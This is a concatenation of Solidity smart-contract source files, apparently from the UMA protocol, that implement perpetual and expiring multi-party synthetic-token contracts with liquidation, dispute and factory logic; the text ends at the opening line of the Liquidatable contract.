pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./PerpetualLiquidatable.sol";
/**
* @title Perpetual Multiparty Contract.
* @notice Convenient wrapper for Liquidatable.
*/
contract Perpetual is PerpetualLiquidatable {
/**
* @notice Constructs the Perpetual contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PerpetualLiquidatable(params)
// Note: since there is no logic here, there is no need to add a re-entrancy guard.
{
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./PerpetualPositionManager.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title PerpetualLiquidatable
* @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position.
* @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the
* liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on
* a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false
* liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a
* prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute.
* NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
contract PerpetualLiquidatable is PerpetualPositionManager {
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using SafeERC20 for IERC20;
/****************************************
* LIQUIDATION DATA STRUCTURES *
****************************************/
// Because of the check in withdrawable(), the order of these enum values should not change.
enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed }
struct LiquidationData {
// Following variables set upon creation of liquidation:
address sponsor; // Address of the liquidated position's sponsor
address liquidator; // Address who created this liquidation
Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved
uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle
// Following variables determined by the position that is being liquidated:
FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute
FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute
// Amount of collateral being liquidated, which could be different from
// lockedCollateral if there were pending withdrawals at the time of liquidation
FixedPoint.Unsigned liquidatedCollateral;
// Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation.
FixedPoint.Unsigned rawUnitCollateral;
// Following variable set upon initiation of a dispute:
address disputer; // Person who is disputing a liquidation
// Following variable set upon a resolution of a dispute:
FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute
FixedPoint.Unsigned finalFee;
}
// Define the contract's constructor parameters as a struct to enable more variables to be specified.
// This is required to enable more params, over and above Solidity's limits.
struct ConstructorParams {
// Params for PerpetualPositionManager only.
uint256 withdrawalLiveness;
address configStoreAddress;
address collateralAddress;
address tokenAddress;
address finderAddress;
address timerAddress;
bytes32 priceFeedIdentifier;
bytes32 fundingRateIdentifier;
FixedPoint.Unsigned minSponsorTokens;
FixedPoint.Unsigned tokenScaling;
// Params specifically for PerpetualLiquidatable.
uint256 liquidationLiveness;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
}
// This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards.
// `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ
// from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the
// fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error.
struct RewardsData {
FixedPoint.Unsigned payToSponsor;
FixedPoint.Unsigned payToLiquidator;
FixedPoint.Unsigned payToDisputer;
FixedPoint.Unsigned paidToSponsor;
FixedPoint.Unsigned paidToLiquidator;
FixedPoint.Unsigned paidToDisputer;
}
// Liquidations are unique by ID per sponsor
mapping(address => LiquidationData[]) public liquidations;
// Total collateral in liquidation.
FixedPoint.Unsigned public rawLiquidationCollateral;
// Immutable contract parameters:
// Amount of time for pending liquidation before expiry.
// !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors.
// Extremely low liveness values increase the chance that opportunistic invalid liquidations
// expire without dispute, thereby decreasing the usability for sponsors and increasing the risk
// for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic
// token holder for the contract.
uint256 public liquidationLiveness;
// Required collateral:TRV ratio for a position to be considered sufficiently collateralized.
FixedPoint.Unsigned public collateralRequirement;
// Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer
// Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%"
FixedPoint.Unsigned public disputeBondPercentage;
// Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public sponsorDisputeRewardPercentage;
// Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public disputerDisputeRewardPercentage;
/****************************************
* EVENTS *
****************************************/
event LiquidationCreated(
address indexed sponsor,
address indexed liquidator,
uint256 indexed liquidationId,
uint256 tokensOutstanding,
uint256 lockedCollateral,
uint256 liquidatedCollateral,
uint256 liquidationTime
);
event LiquidationDisputed(
address indexed sponsor,
address indexed liquidator,
address indexed disputer,
uint256 liquidationId,
uint256 disputeBondAmount
);
event DisputeSettled(
address indexed caller,
address indexed sponsor,
address indexed liquidator,
address disputer,
uint256 liquidationId,
bool disputeSucceeded
);
event LiquidationWithdrawn(
address indexed caller,
uint256 paidToLiquidator,
uint256 paidToDisputer,
uint256 paidToSponsor,
Status indexed liquidationStatus,
uint256 settlementPrice
);
/****************************************
* MODIFIERS *
****************************************/
modifier disputable(uint256 liquidationId, address sponsor) {
_disputable(liquidationId, sponsor);
_;
}
modifier withdrawable(uint256 liquidationId, address sponsor) {
_withdrawable(liquidationId, sponsor);
_;
}
/**
* @notice Constructs the liquidatable contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PerpetualPositionManager(
params.withdrawalLiveness,
params.collateralAddress,
params.tokenAddress,
params.finderAddress,
params.priceFeedIdentifier,
params.fundingRateIdentifier,
params.minSponsorTokens,
params.configStoreAddress,
params.tokenScaling,
params.timerAddress
)
{
require(params.collateralRequirement.isGreaterThan(1));
require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1));
// Set liquidatable specific variables.
liquidationLiveness = params.liquidationLiveness;
collateralRequirement = params.collateralRequirement;
disputeBondPercentage = params.disputeBondPercentage;
sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
}
/****************************************
* LIQUIDATION FUNCTIONS *
****************************************/
/**
* @notice Liquidates the sponsor's position if the caller has enough
* synthetic tokens to retire the position's outstanding tokens. Liquidations above
* a minimum size also reset an ongoing "slow withdrawal"'s liveness.
* @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be
* approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param sponsor address of the sponsor to liquidate.
* @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate.
* @param deadline abort the liquidation if the transaction is mined after this timestamp.
* @return liquidationId ID of the newly created liquidation.
* @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position.
* @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully.
*/
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
notEmergencyShutdown()
fees()
nonReentrant()
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
)
{
// Check that this transaction was mined pre-deadline.
require(getCurrentTime() <= deadline, "Mined after deadline");
// Retrieve Position data for sponsor
PositionData storage positionToLiquidate = _getPositionData(sponsor);
tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding);
require(tokensLiquidated.isGreaterThan(0));
// Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral,
// then set this to 0, otherwise set it to (startCollateral - withdrawal request amount).
FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral);
FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0);
if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) {
startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount);
}
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding;
// The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken].
require(
maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal),
"CR is more than max liq. price"
);
// minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal),
"CR is less than min liq. price"
);
}
// Compute final fee at time of liquidation.
finalFeeBond = _computeFinalFees();
// These will be populated within the scope below.
FixedPoint.Unsigned memory lockedCollateral;
FixedPoint.Unsigned memory liquidatedCollateral;
// Scoping to get rid of a stack too deep error. The amount of tokens to remove from the position
// are not funding-rate adjusted because the multiplier only affects their redemption value, not their
// notional.
{
FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding);
// The actual amount of collateral that gets moved to the liquidation.
lockedCollateral = startCollateral.mul(ratio);
// For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of
// withdrawal requests.
liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio);
// Part of the withdrawal request is also removed. Ideally:
// liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral.
FixedPoint.Unsigned memory withdrawalAmountToRemove =
positionToLiquidate.withdrawalRequestAmount.mul(ratio);
_reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove);
}
// Add to the global liquidation collateral count.
_addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond));
// Construct liquidation object.
// Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new
// LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push.
liquidationId = liquidations[sponsor].length;
liquidations[sponsor].push(
LiquidationData({
sponsor: sponsor,
liquidator: msg.sender,
state: Status.NotDisputed,
liquidationTime: getCurrentTime(),
tokensOutstanding: _getFundingRateAppliedTokenDebt(tokensLiquidated),
lockedCollateral: lockedCollateral,
liquidatedCollateral: liquidatedCollateral,
rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)),
disputer: address(0),
settlementPrice: FixedPoint.fromUnscaledUint(0),
finalFee: finalFeeBond
})
);
// If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than
// some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be
// "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold
// is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal.
// We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter
// denominated in token currency units and we can avoid adding another parameter.
FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens;
if (
positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal.
positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired.
tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold".
) {
positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
}
emit LiquidationCreated(
sponsor,
msg.sender,
liquidationId,
_getFundingRateAppliedTokenDebt(tokensLiquidated).rawValue,
lockedCollateral.rawValue,
liquidatedCollateral.rawValue,
getCurrentTime()
);
// Destroy tokens
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue);
tokenCurrency.burn(tokensLiquidated.rawValue);
// Pull final fee from liquidator.
collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue);
}
/**
* @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond and pay a fixed final
* fee charged on each price request.
* @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.
* This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute
* bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation.
* @param liquidationId of the disputed liquidation.
* @param sponsor the address of the sponsor whose liquidation is being disputed.
* @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).
*/
function dispute(uint256 liquidationId, address sponsor)
external
disputable(liquidationId, sponsor)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalPaid)
{
LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);
// Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees.
FixedPoint.Unsigned memory disputeBondAmount =
disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul(
_getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)
);
_addCollateral(rawLiquidationCollateral, disputeBondAmount);
// Request a price from DVM. Liquidation is pending dispute until DVM returns a price.
disputedLiquidation.state = Status.Disputed;
disputedLiquidation.disputer = msg.sender;
// Enqueue a request with the DVM.
_requestOraclePrice(disputedLiquidation.liquidationTime);
emit LiquidationDisputed(
sponsor,
disputedLiquidation.liquidator,
msg.sender,
liquidationId,
disputeBondAmount.rawValue
);
totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);
// Pay the final fee for requesting price from the DVM.
_payFinalFees(msg.sender, disputedLiquidation.finalFee);
// Transfer the dispute bond amount from the caller to this contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);
}
/**
* @notice After a dispute has settled or after a non-disputed liquidation has expired,
* anyone can call this method to disperse payments to the sponsor, liquidator, and disputer.
* @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment.
* If the dispute FAILED: only the liquidator receives payment. This method deletes the liquidation data.
* This method will revert if rewards have already been dispersed.
* @param liquidationId uniquely identifies the sponsor's liquidation.
* @param sponsor address of the sponsor associated with the liquidation.
* @return data about rewards paid out.
*/
function withdrawLiquidation(uint256 liquidationId, address sponsor)
public
withdrawable(liquidationId, sponsor)
fees()
nonReentrant()
returns (RewardsData memory)
{
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settles the liquidation if necessary. This call will revert if the price has not resolved yet.
_settle(liquidationId, sponsor);
// Calculate rewards as a function of the TRV.
// Note1: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata.
// Note2: the tokenRedemptionValue uses the tokensOutstanding which was calculated using the funding rate at
// liquidation time from _getFundingRateAppliedTokenDebt. Therefore the TRV considers the full debt value at that time.
FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral);
FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice;
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation);
FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation);
FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage);
FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation);
// There are three main outcome states: either the dispute succeeded, failed or was not updated.
// Based on the state, different parties of a liquidation receive different amounts.
// After assigning rewards based on the liquidation status, decrease the total collateral held in this contract
// by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes
// precision loss.
RewardsData memory rewards;
if (liquidation.state == Status.DisputeSucceeded) {
// If the dispute is successful then all three users should receive rewards:
// Pay DISPUTER: disputer reward + dispute bond + returned final fee
rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee);
// Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward
rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue));
// Pay LIQUIDATOR: TRV - dispute reward - sponsor reward
// If TRV > Collateral, then subtract rewards from collateral
// NOTE: This should never be below zero since we prevent (sponsorDisputePercentage+disputerDisputePercentage) >= 0 in
// the constructor when these params are set.
rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor);
rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer);
collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue);
// In the case of a failed dispute only the liquidator can withdraw.
} else if (liquidation.state == Status.DisputeFailed) {
// Pay LIQUIDATOR: collateral + dispute bond + returned final fee
rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
// If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this
// state as a dispute failed and the liquidator can withdraw.
} else if (liquidation.state == Status.NotDisputed) {
// Pay LIQUIDATOR: collateral + returned final fee
rewards.payToLiquidator = collateral.add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
}
emit LiquidationWithdrawn(
msg.sender,
rewards.paidToLiquidator.rawValue,
rewards.paidToDisputer.rawValue,
rewards.paidToSponsor.rawValue,
liquidation.state,
settlementPrice.rawValue
);
// Free up space after collateral is withdrawn by removing the liquidation object from the array.
delete liquidations[sponsor][liquidationId];
return rewards;
}
/**
* @notice Gets all liquidation information for a given sponsor address.
* @param sponsor address of the position sponsor.
* @return liquidationData array of all liquidation information for the given sponsor address.
*/
function getLiquidations(address sponsor)
external
view
nonReentrantView()
returns (LiquidationData[] memory liquidationData)
{
return liquidations[sponsor];
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// This settles a liquidation if it is in the Disputed state. If not, it will immediately return.
// If the liquidation is in the Disputed state, but a price is not available, this will revert.
function _settle(uint256 liquidationId, address sponsor) internal {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settlement only happens when state == Disputed and will only happen once per liquidation.
// If this liquidation is not ready to be settled, this method should return immediately.
if (liquidation.state != Status.Disputed) {
return;
}
// Get the returned price from the oracle. If this has not yet resolved will revert.
liquidation.settlementPrice = _getOraclePrice(liquidation.liquidationTime);
// Find the value of the tokens in the underlying collateral.
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(liquidation.settlementPrice);
// The required collateral is the value of the tokens in underlying * required collateral ratio.
FixedPoint.Unsigned memory requiredCollateral = tokenRedemptionValue.mul(collateralRequirement);
// If the position has more than the required collateral it is solvent and the dispute is valid (liquidation is invalid)
// Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals.
bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral);
liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed;
emit DisputeSettled(
msg.sender,
sponsor,
liquidation.liquidator,
liquidation.disputer,
liquidationId,
disputeSucceeded
);
}
function _pfc() internal view override returns (FixedPoint.Unsigned memory) {
return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral));
}
function _getLiquidationData(address sponsor, uint256 liquidationId)
internal
view
returns (LiquidationData storage liquidation)
{
LiquidationData[] storage liquidationArray = liquidations[sponsor];
// Revert if the caller is attempting to access an invalid liquidation
// (one that has never been created or one has never been initialized).
require(
liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized
);
return liquidationArray[liquidationId];
}
function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) {
return liquidation.liquidationTime.add(liquidationLiveness);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _disputable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
require(
(getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed),
"Liquidation not disputable"
);
}
function _withdrawable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
Status state = liquidation.state;
// Must be disputed or the liquidation has passed expiry.
require(
(state > Status.NotDisputed) ||
((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed))
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/implementation/ContractCreator.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "../../common/implementation/Lockable.sol";
import "../common/TokenFactory.sol";
import "../common/SyntheticToken.sol";
import "./ExpiringMultiPartyLib.sol";
/**
* @title Expiring Multi Party Contract creator.
* @notice Factory contract to create and register new instances of expiring multiparty contracts.
* Responsible for constraining the parameters used to construct a new EMP. This creator contains a number of constraints
* that are applied to newly created expiring multi party contract. These constraints can evolve over time and are
* initially constrained to conservative values in this first iteration. Technically there is nothing in the
* ExpiringMultiParty contract requiring these constraints. However, because `createExpiringMultiParty()` is intended
* to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract),
we can enforce deployment configurations here.
*/
contract ExpiringMultiPartyCreator is ContractCreator, Testable, Lockable {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* EMP CREATOR DATA STRUCTURES *
****************************************/
struct Params {
uint256 expirationTimestamp;
address collateralAddress;
bytes32 priceFeedIdentifier;
string syntheticName;
string syntheticSymbol;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
FixedPoint.Unsigned minSponsorTokens;
uint256 withdrawalLiveness;
uint256 liquidationLiveness;
address financialProductLibraryAddress;
}
// Address of TokenFactory used to create a new synthetic token.
address public tokenFactoryAddress;
event CreatedExpiringMultiParty(address indexed expiringMultiPartyAddress, address indexed deployerAddress);
/**
* @notice Constructs the ExpiringMultiPartyCreator contract.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances.
* @param _timerAddress Contract that stores the current time in a testing environment.
*/
constructor(
address _finderAddress,
address _tokenFactoryAddress,
address _timerAddress
) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() {
tokenFactoryAddress = _tokenFactoryAddress;
}
/**
* @notice Creates an instance of expiring multi party and registers it within the registry.
* @param params is a `ConstructorParams` object from ExpiringMultiParty.
* @return address of the deployed ExpiringMultiParty contract.
*/
function createExpiringMultiParty(Params memory params) public nonReentrant() returns (address) {
// Create a new synthetic token using the params.
require(bytes(params.syntheticName).length != 0, "Missing synthetic name");
require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol");
TokenFactory tf = TokenFactory(tokenFactoryAddress);
// If the collateral token does not have a `decimals()` method, then a default precision of 18 will be
// applied to the newly created synthetic token.
uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress);
ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals);
address derivative = ExpiringMultiPartyLib.deploy(_convertParams(params, tokenCurrency));
// Give permissions to new derivative contract and then hand over ownership.
tokenCurrency.addMinter(derivative);
tokenCurrency.addBurner(derivative);
tokenCurrency.resetOwner(derivative);
_registerContract(new address[](0), derivative);
emit CreatedExpiringMultiParty(derivative, msg.sender);
return derivative;
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
// Converts createExpiringMultiParty params to ExpiringMultiParty constructor params.
function _convertParams(Params memory params, ExpandedIERC20 newTokenCurrency)
private
view
returns (ExpiringMultiParty.ConstructorParams memory constructorParams)
{
// Known from creator deployment.
constructorParams.finderAddress = finderAddress;
constructorParams.timerAddress = timerAddress;
// Enforce configuration constraints.
require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0");
require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0");
require(params.expirationTimestamp > now, "Invalid expiration time");
_requireWhitelistedCollateral(params.collateralAddress);
// We don't want EMP deployers to be able to intentionally or unintentionally set
// liveness periods that could induce arithmetic overflow, but we also don't want
// to be opinionated about what livenesses are "correct", so we will somewhat
// arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness
// periods even greater than a few days would make the EMP unusable for most users.
require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large");
require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large");
// Input from function call.
constructorParams.tokenAddress = address(newTokenCurrency);
constructorParams.expirationTimestamp = params.expirationTimestamp;
constructorParams.collateralAddress = params.collateralAddress;
constructorParams.priceFeedIdentifier = params.priceFeedIdentifier;
constructorParams.collateralRequirement = params.collateralRequirement;
constructorParams.disputeBondPercentage = params.disputeBondPercentage;
constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
constructorParams.minSponsorTokens = params.minSponsorTokens;
constructorParams.withdrawalLiveness = params.withdrawalLiveness;
constructorParams.liquidationLiveness = params.liquidationLiveness;
constructorParams.financialProductLibraryAddress = params.financialProductLibraryAddress;
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./ExpiringMultiParty.sol";
/**
* @title Provides convenient Expiring Multi Party contract utilities.
* @dev Using this library to deploy EMP's allows calling contracts to avoid importing the full EMP bytecode.
*/
library ExpiringMultiPartyLib {
/**
* @notice Returns address of new EMP deployed with given `params` configuration.
* @dev Caller will need to register new EMP with the Registry to begin requesting prices. Caller is also
* responsible for enforcing constraints on `params`.
* @param params is a `ConstructorParams` object from ExpiringMultiParty.
* @return address of the deployed ExpiringMultiParty contract
*/
function deploy(ExpiringMultiParty.ConstructorParams memory params) public returns (address) {
ExpiringMultiParty derivative = new ExpiringMultiParty(params);
return address(derivative);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./Liquidatable.sol";
/**
* @title Expiring Multi Party.
* @notice Convenient wrapper for Liquidatable.
*/
contract ExpiringMultiParty is Liquidatable {
/**
* @notice Constructs the ExpiringMultiParty contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PricelessPositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
Liquidatable(params)
// Note: since there is no logic here, there is no need to add a re-entrancy guard.
{
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./PricelessPositionManager.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title Liquidatable
* @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position.
* @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the
* liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on
* a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false
* liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a
* prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute.
* NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
contract Liquidatable is PricelessPositionManager {
